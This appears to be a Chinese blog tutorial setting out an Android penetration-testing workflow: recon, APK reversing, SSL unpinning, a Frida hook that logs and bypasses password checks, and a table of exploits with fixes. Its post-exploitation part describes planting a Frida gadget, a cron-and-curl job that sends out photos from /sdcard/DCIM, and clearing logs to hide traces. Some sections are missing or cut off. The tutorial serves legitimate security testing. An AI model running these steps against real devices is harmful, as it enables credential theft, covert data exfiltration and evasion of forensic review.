安卓渗透测试流

一、信息收集

  1. 公开情报
    -应用商店:版本号、开发者、评论抓 API
    -域名/IP:证书透明度、DNS 历史
  2. 设备指纹
    adb shell getprop | grep -E "(ro.product|ro.build)" > device.txt
    adb shell pm list packages -f > pkg.txt
    
  3. 端口/服务扫描
    nmap -sV -p 1-65535 <phone_ip> -oA nmap_phone
    
  4. APK 拉取
    adb shell pm path com.target.app | cut -d: -f2 | xargs -I{} adb pull {} target.apk
    

二、静态逆向

目标 命令/工具 输出
解包资源 apktool d target.apk -o target_smali AndroidManifest.xml、smali、res
转 Java dex2jar.sh target.apkjd-gui classes-dex2jar.jar 可读 Java 源码
敏感字符串 `grep -iE "(pass key
组件审计 aapt dump xmltree target.apk AndroidManifest.xml exported 组件、权限、intent-filter
自动化扫描 mobsfscan target.apk → Web 报告 OWASP Mobile Top10 覆盖

三、动态分析

  1. 安装 & 启动
    adb install target.apk
    adb shell monkey -p com.target.app -c android.intent.category.LAUNCHER 1
    
  2. SSL 流量去固定
    • Xposed 模块:JustTrustMe++
    • Frida 脚本:ssl-unpin.js(兼容 OKHttp3、Retrofit、Flutter)
  3. Burp Suite 抓包
    • 手机 Wi-Fi 代理 → Burp 监听
    • 安装 Burp CA → 系统证书(Android 7+ 需 adb root 后挂载 /system
  4. ** drozer 快速定位攻击面**
    dz> run app.package.attacksurface com.target.app
    dz> run app.activity.info -a com.target.app
    dz> run scanner.provider.injection -a com.target.app
    
  5. Frida 动态 Hook
    Java.perform(function(){
        var LoginUtil = Java.use("com.target.LoginUtil");
        LoginUtil.verifyPassword.implementation = function(p){
            console.log(">>> Password = " + p);
            return true; // 直接绕过
        };
    });
    

五、典型漏洞利用

漏洞 利用场景 工具/命令 修复建议
exported Activity 绕过登录 直接拉起后台界面 adb shell am start -n com.target/.BackDoorActivity android:exported="false" 或加权限
Provider SQL-Injection content:// 查询泄露密码表 drozer run scanner.provider.injection 参数化查询 + StrictMode
Intent Scheme URL WebView 远程打开任意组件 intent:#Intent;component=com.target/.SendSms;... 校验 host/path + 禁用 file 协议
Weak RNG 破解令牌 时间戳可预测 Frida hook java.util.Random 种子 java.security.SecureRandom
内存 dump 抓密钥 frida-trace -i "EVP_*" 定位 OpenSSL 密钥 加 TEE/白盒加密
WPA3 降级攻击 强制客户端回落 WPA2 hostapd-mana + EAP downgrade 关闭过渡模式,仅允许 WPA3-SAE

六、后渗透 & 权限维持

  1. 获取高权
    • Magisk su → 植入 /system/bin 脚本
    • NetHunter hid-keyboard 模拟 USB 键盘偷凭证
  2. 持久化
    • 植入 Frida-gadget.so → App 启动即加载
    • 添加 cron + curl 定时回传 /sdcard/DCIM
  3. 痕迹清理
    • 清空 /data/system/dropbox & logcat -c
    • 重打包 App 时删除 libfrida-gadget.so 符号


七、防御加固


汇总

  1. 信息收集:adb + nmap + drozer attacksurface
  2. 静态:apktool → smali → grep 关键字
  3. 动态:Frida 脚本 + Burp 抓包 + Objection 内存漫游
  4. 典型洞:exported 组件、SSL-Pinning 失败、Provider 注入、Intent Scheme
  5. 报告:风险分级 + 复现命令 + 修复代码片段

把上面脚本全跑一遍,你就能在 24 h 内输出一份 可直接交付的 Android 渗透测试报告,并且知道每个漏洞背后的 系统原理 & 修复代码。祝挖洞顺利,合法授权前提下尽情折腾!

posted @ 2025-10-03 21:29  powerTopo  阅读(23)  评论(0)    收藏  举报